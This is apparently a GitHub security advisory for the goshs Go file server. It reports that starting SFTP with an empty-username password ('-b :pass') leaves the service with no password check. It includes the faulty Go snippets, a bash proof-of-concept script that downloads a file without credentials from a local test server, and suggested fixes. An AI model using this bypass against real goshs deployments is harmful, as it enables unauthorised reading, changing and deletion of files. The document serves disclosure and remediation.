GHSA-c29w-qq4m-2gcv goshs has an empty-username SFTP password authentication bypass

• Go github.com/patrickhener/goshs: <= 1.1.4 (no fix yet) • Go github.com/patrickhener/goshs/v2: < 2.0.0 → fixed in 2.0.0

Summary goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b ':pass'` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`. Details The help text explicitly documents empty usernames as valid authentication input: • `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)` The SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present: ```go if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") { logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b") } ``` That parsing logic then splits `-b ':pass'` into an empty username and a non-empty password: ```go auth := strings.SplitN(opts.BasicAuth, ":", 2) opts.Username = auth[0] opts.Password = auth[1] ``` But the SFTP server only installs a password handler if both the username and password are non-empty: ```go if s.Username != "" && s.Password != "" { sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool { return ctx.User() == s.Username && password == s.Password } } ``` With `-b ':pass'`, that condition is false, so no password authentication is enforced for SFTP sessions. Relevant source locations: • `options/options.go:264-266` • `sanity/checks.go:82-85` • `sanity/checks.go:102-109` • `sftpserver/sftpserver.go:82-85` PoC I manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b ':pass'`, but an SFTP client still downloaded a file without supplying any key or password. Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt mkdir -p /tmp/goshs_authless_root printf 'root file\n' > /tmp/goshs_authless_root/test.txt /tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass' ``` `Terminal 2` ```bash printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \ sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - [email protected] cat /tmp/authless_sftp.txt ``` Expected result: • the SFTP session succeeds without a key • there is no password prompt • `cat /tmp/authless_sftp.txt` prints `root file` PoC Video 1: https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2' ``` `gosh_poc2` script content: ```bash !/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' BIN='/tmp/goshs_beta5_sftp_empty_user' ROOT='/tmp/goshs_authless_root' DOWNLOAD='/tmp/authless_sftp.txt' HTTP_PORT='18102' SFTP_PORT='2223' SERVER_PID="" cleanup() { if [[ -n "${SERVER_PID:-}" ]]; then kill "${SERVER_PID}" >/dev/null 2>&1 || true wait "${SERVER_PID}" 2>/dev/null || true fi } trap cleanup EXIT echo '[1/5] Building goshs beta.5' cd "${REPO}" go build -o "${BIN}" ./ echo '[2/5] Preparing test root' rm -rf "${ROOT}" "${DOWNLOAD}" mkdir -p "${ROOT}" printf 'root file\n' > "${ROOT}/test.txt" echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}" "${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \ >/tmp/gosh_poc2.log 2>&1 & SERVER_PID=$! for _ in $(seq 1 40); do if python3 - <<PY import socket s = socket.socket() try: s.connect(("127.0.0.1", ${SFTP_PORT})) raise SystemExit(0) except OSError: raise SystemExit(1) finally: s.close() PY then break fi sleep 0.25 done echo '[4/5] Connecting without password or key' printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \ sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - [email protected] echo '[5/5] Verifying unauthenticated file access' echo "Downloaded content: $(cat "${DOWNLOAD}")" if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated' else echo '[RESULT] NOT REPRODUCED' exit 1 fi ``` PoC Video 2: https://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77 Impact This is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented `-b ':pass'` syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions. Remediation Suggested fixes: 1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string. 2. If empty usernames are not intended for SFTP, reject `-b ':pass'` during option validation whenever `-sftp` is enabled. 3. Add an integration test that starts SFTP with `-b ':pass'` and verifies that unauthenticated sessions are rejected.